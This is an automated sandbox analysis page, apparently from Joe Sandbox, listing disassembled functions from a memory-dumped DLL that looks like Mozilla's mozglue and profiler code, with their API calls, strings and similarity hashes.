API String ID: 1778083764-3290996778
Opcode ID: 34228279f80559bc2dc0595ebba380fe922e9d255f598f6a8dbce47fc9c897d8
Instruction ID: d801d94c111b9ec657b6a04c0594da9f1c7f696a68032ac26273308a12905604
Opcode Fuzzy Hash: 34228279f80559bc2dc0595ebba380fe922e9d255f598f6a8dbce47fc9c897d8
Instruction Fuzzy Hash: 75310871B00218AFDB14AF59DC445EF77A9DF85718F50802DEA0A9BB40DB71AD04CBE5

Function 6C5A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5A4721

Part of subcall function 6C554410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C593EBD,00000017,?,00000000,?,6C593EBD,?,?,6C5542D2), ref: 6C554444

Strings

., xrefs: 6C5A476A
-%llu, xrefs: 6C5A4733
profiler-paused, xrefs: 6C5A46E4

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: c1eb0bace2592374fe062687dc232b71a3fc6a6fc5dd060cb7bdede1cfe23963
Instruction ID: a01f62582e8fd157af70bf1f34bad39ffa2d1280496a75ad9575e5259a82a639
Opcode Fuzzy Hash: c1eb0bace2592374fe062687dc232b71a3fc6a6fc5dd060cb7bdede1cfe23963
Instruction Fuzzy Hash: 71311871F042189BCB08DFEDDC8129DBBE69B88314F55863EE8059BB41EB7099068B50

Function 6C5AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C554290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C593EBD,6C593EBD,00000000), ref: 6C5542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5AB127), ref: 6C5AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5AB4E4

Strings

pid:, xrefs: 6C5AB4DE

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 017d8a409fab83f9f93426410ff8bfbfbe3cdfdad98301b1074941101a48628d
Instruction ID: 29b0d85eb070d21c6e9bc9c513db8ace8268e6d4bc48c129100d085528091445
Opcode Fuzzy Hash: 017d8a409fab83f9f93426410ff8bfbfbe3cdfdad98301b1074941101a48628d
Instruction Fuzzy Hash: 7131D531A01218DFDB10EFEADC40A9EB7B6FF49718F540529D81167A41E732A946CBE1

Function 6C56BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C5B7A3F), ref: 6C56BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C5B7A3F), ref: 6C56BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C5B7A3F), ref: 6C56BF7E

Strings

\l, xrefs: 6C56BF84

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: \l
API String ID: 4279176481-3329751103
Opcode ID: 047baccaad570ebde3f79787147294235866e02406eafe4d4604f43da334e63c
Instruction ID: 74427b551243a92f9f3a1677fad75d2be036bc67fdc4a3c973f8482451a41fd4
Opcode Fuzzy Hash: 047baccaad570ebde3f79787147294235866e02406eafe4d4604f43da334e63c
Instruction Fuzzy Hash: 1A11BF793007048FC729DF4CD999A26FBF8FB59304355885DE98A8B751C771B800CB95

Function 6C59E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59E577
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59E584
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C59E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C59E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C59E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C59E826, 6C59E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C59E722, 6C59E750, 6C59E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C59E5A1, 6C59E5CC, 6C59E5FF, 6C59E62A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 5fdff5c00c50554e5e00628fafd0f4674b870d3ada06a997ae9bd23f48f5b6dc
Instruction ID: 111e67d144b94bd3d1fb1b47754c1dcdcdd7e2fd282a144387dcb4600f600508
Opcode Fuzzy Hash: 5fdff5c00c50554e5e00628fafd0f4674b870d3ada06a997ae9bd23f48f5b6dc
Instruction Fuzzy Hash: 8C11A131604394DFCB00AF18CC48B5ABBF5FB8932AF460619E84547750D770B804CB9D

Function 6C5A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5A0CD5

Part of subcall function 6C58F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C58F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5A0D40
free.MOZGLUE ref: 6C5A0DCB

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

free.MOZGLUE ref: 6C5A0DDD
free.MOZGLUE ref: 6C5A0DF2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0c97f509d228be5412e8ef9544deab28b31b396920ea0aa914e946d2d04d2b3f
Instruction ID: 53c74e9cbb454e5ba8bbc9cf0fda78c0eff4d7ad6cbf5f8fe5276db7bccc6fab
Opcode Fuzzy Hash: 0c97f509d228be5412e8ef9544deab28b31b396920ea0aa914e946d2d04d2b3f
Instruction Fuzzy Hash: 5D413871918780CBD720CF6AC84039EFBE5BFC8614F518A2EE8D987750D770A885CB92

Function 6C590800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C590838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C59084C
EnterCriticalSection.KERNEL32(?), ref: 6C5908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5908BD
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C5908D5

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 65b7a9ee95d465a609fdb86934da21ee9d8ce6c0993bc63787cc27d065fce942
Instruction ID: 1e6d330aae84fe014e89718e30ea162ade5454eb74265945d0dde502805e7787
Opcode Fuzzy Hash: 65b7a9ee95d465a609fdb86934da21ee9d8ce6c0993bc63787cc27d065fce942
Instruction Fuzzy Hash: 4721A13170138A9BDB049F659C44BAEB379EF89709F510969D509A7B40DB71A804CBD8

Function 6C561720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5618EE
free.MOZGLUE(?), ref: 6C561911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56194C

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 9b7bdfd387c33a9a94ca90250d6b8b961cfafbca132f0afbab9b396e6a9b300e
Instruction ID: 902e0c0e6aac4fc8f84fcef600ae31431af8e43ae8b412e70566f3c8274e2684
Opcode Fuzzy Hash: 9b7bdfd387c33a9a94ca90250d6b8b961cfafbca132f0afbab9b396e6a9b300e
Instruction Fuzzy Hash: F8819170A112059FCB08CF69DC949AFBBB1FF89314F04456DE851ABB64DB30E954CBA2

Function 6C575C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C575D40
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67
__aulldiv.LIBCMT ref: 6C575DB4
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C575DED

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 23ae84298bb2d4ddd68b1b5f7b06cf8079e8670c8c638ab25582d0d573be2659
Instruction ID: c990de204aa18445c8ae3338ad6ab9230c2eac4ac717615cf06d0cd517cd8895
Opcode Fuzzy Hash: 23ae84298bb2d4ddd68b1b5f7b06cf8079e8670c8c638ab25582d0d573be2659
Instruction Fuzzy Hash: 47517371E002198FCF18CF68CD54AAEB7B1FB85304F5A861DE811A7B50D7707945CB94

Function 6C55CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C55CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C55CF4E

Strings

0, xrefs: 6C55CF30

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 1cab65194c71b5257ae4fa11e4b39c3336a5278d5b534686eda64d5a535fa393
Instruction ID: 6c1424d9b92c50c802ff637a76bf50bb7333585acc95f4866593180207bd0af3
Opcode Fuzzy Hash: 1cab65194c71b5257ae4fa11e4b39c3336a5278d5b534686eda64d5a535fa393
Instruction Fuzzy Hash: A951F075A00216CFCB01CF18C890AAABBA5EF99300F19859ED8595F792D731BD16CBE0

Function 6C5B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C5B7829

Part of subcall function 6C58CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5531A7), ref: 6C58CC45
Part of subcall function 6C58CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5531A7), ref: 6C58CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5B78CF

Part of subcall function 6C554DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C554E5A
Part of subcall function 6C554DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C554E97

Part of subcall function 6C554290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C593EBD,6C593EBD,00000000), ref: 6C5542A9

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 1da352e2b1d1b66099ce16b2e355fa3d10c801a1cdacc42a2d31f752fbfbae33
Instruction ID: 8e19aef0d94d6d468a2a99ead3917101ed0e988eea3dfbdfb80bbd9910d9637a
Opcode Fuzzy Hash: 1da352e2b1d1b66099ce16b2e355fa3d10c801a1cdacc42a2d31f752fbfbae33
Instruction Fuzzy Hash: A941A171904746DBD300DF29C88056AFBF4FFCA254F604A1EE4A987690DB70E959CB92

Function 6C596470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5982BC,?,?), ref: 6C59649B

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5964A9

Part of subcall function 6C58FA80: GetCurrentThreadId.KERNEL32 ref: 6C58FA8D
Part of subcall function 6C58FA80: AcquireSRWLockExclusive.KERNEL32(6C5DF448), ref: 6C58FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C59653F
free.MOZGLUE(?), ref: 6C59655A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3cbcb2efd4d1415ae20ff951309ac8f2463d7664b0e2edf7f7d579154f90e14c
Instruction ID: 08f9d64774b24856be02c9a8f92ce8b09006e10c57eaf737743e0c267779fbda
Opcode Fuzzy Hash: 3cbcb2efd4d1415ae20ff951309ac8f2463d7664b0e2edf7f7d579154f90e14c
Instruction Fuzzy Hash: 973170B5A04345AFCB40CF15DC8469AB7E4FFC8314F40482EE85A87751EB30E919CB92

Function 6C58FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?), ref: 6C58FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?,?), ref: 6C58FFF5
free.MOZGLUE(?,?,?,?,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?), ref: 6C59001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?,?), ref: 6C59002A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 18924f21223462f0ee68f28b6b094b69e8ef6e1d9f19bbf9d0c4808593b1fd24
Instruction ID: d94431efa6f802cdc22a9ce338080b7f6abffa8767993ae053e6ba4c19a20bd3
Opcode Fuzzy Hash: 18924f21223462f0ee68f28b6b094b69e8ef6e1d9f19bbf9d0c4808593b1fd24
Instruction Fuzzy Hash: 7621D6B2B002159BD718DE789C948AFB7BAFBC93247250738E425D7780EB70AD0187E1

Function 6C56B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C56B4F5
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56B502
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56B542
free.MOZGLUE(?), ref: 6C56B578

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5376bb661840fb5d5cb410d053abf342e950b9b572971637a6c2b699ecdbb7ca
Instruction ID: adbb0cb2a7b76f0f15a939bf45c3e0e3ea7071624a4b709ac91f03226091a115
Opcode Fuzzy Hash: 5376bb661840fb5d5cb410d053abf342e950b9b572971637a6c2b699ecdbb7ca
Instruction Fuzzy Hash: 2A11AC30A04B41C7D7219F2ADC007A1B3B1FFA6319F15970AE84953E12FBB1B5C48799

Function 6C593DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C55F20E,?), ref: 6C593DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C55F20E,00000000,?), ref: 6C593DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C593E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C593E0E

Part of subcall function 6C58CC00: GetCurrentProcess.KERNEL32(?,?,6C5531A7), ref: 6C58CC0D
Part of subcall function 6C58CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5531A7), ref: 6C58CC16

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: d2f626a7db502332ea24d5dfc86db0f1bdc3bca991948930c27561e1c1da6139
Instruction ID: b1d8dfdd83572b86d1ae8ec3677c5f031d760166fc628c1c1b6a63dacc72862b
Opcode Fuzzy Hash: d2f626a7db502332ea24d5dfc86db0f1bdc3bca991948930c27561e1c1da6139
Instruction Fuzzy Hash: 4BF01271600318BBDB00AB54DC81DAB376DDF86624F050024FD0857741D735BE5596FB

Function 6C5A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5A201B,?,?,?,?,?,?,?,6C5A1F8F,?,?), ref: 6C5A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5A208E
free.MOZGLUE(?,?,?,00000000,?,6C5A201B,?,?,?,?,?,?,?,6C5A1F8F,?,?), ref: 6C5A20A3

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 1f5a30f321308a5024bccb4153060f5f69fb503d667f44e51c5f2307202e8c05
Instruction ID: 5d5e370020f2cc613e13f5fb4fa8440e628555d8cd7d69875afb2aab906cd27e
Opcode Fuzzy Hash: 1f5a30f321308a5024bccb4153060f5f69fb503d667f44e51c5f2307202e8c05
Instruction Fuzzy Hash: 19F090B11007009BC7219F17DC8875BBBF9EF8A324F11051AE54A87B10CB72A8068B9A

Function 6C5A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5A85D3

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5A8725

Strings

map/set<T> too long, xrefs: 6C5A8720

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
